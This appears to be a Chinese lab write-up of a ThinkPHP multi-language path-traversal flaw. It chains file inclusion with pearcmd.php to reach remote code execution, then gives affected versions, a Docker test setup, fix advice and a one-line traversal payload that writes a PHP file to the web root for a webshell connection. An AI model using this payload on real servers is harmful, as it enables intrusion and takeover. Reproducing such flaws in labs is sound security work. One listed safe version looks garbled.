1、简介
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。
2、产生原因
程序本身开启了多语言功能,攻击者可以通过get,post,header,cookie等位置传入参数。实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。
3、影响范围
v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x
4、环境搭建
docker pull vulfocus/thinkphp:6.0.12
我们访问漏洞环境。
打开环境。
访问链接:http://192.168.61.128:55543/public/index.php
EXP如下:
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php
5、漏洞复现
我们蚁剑进行连接。
这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。
6、修复建议
升级到最新版本
安全版本:
1)ThinkPHP>=6.0.14
2)ThinkPHP>=2.1.42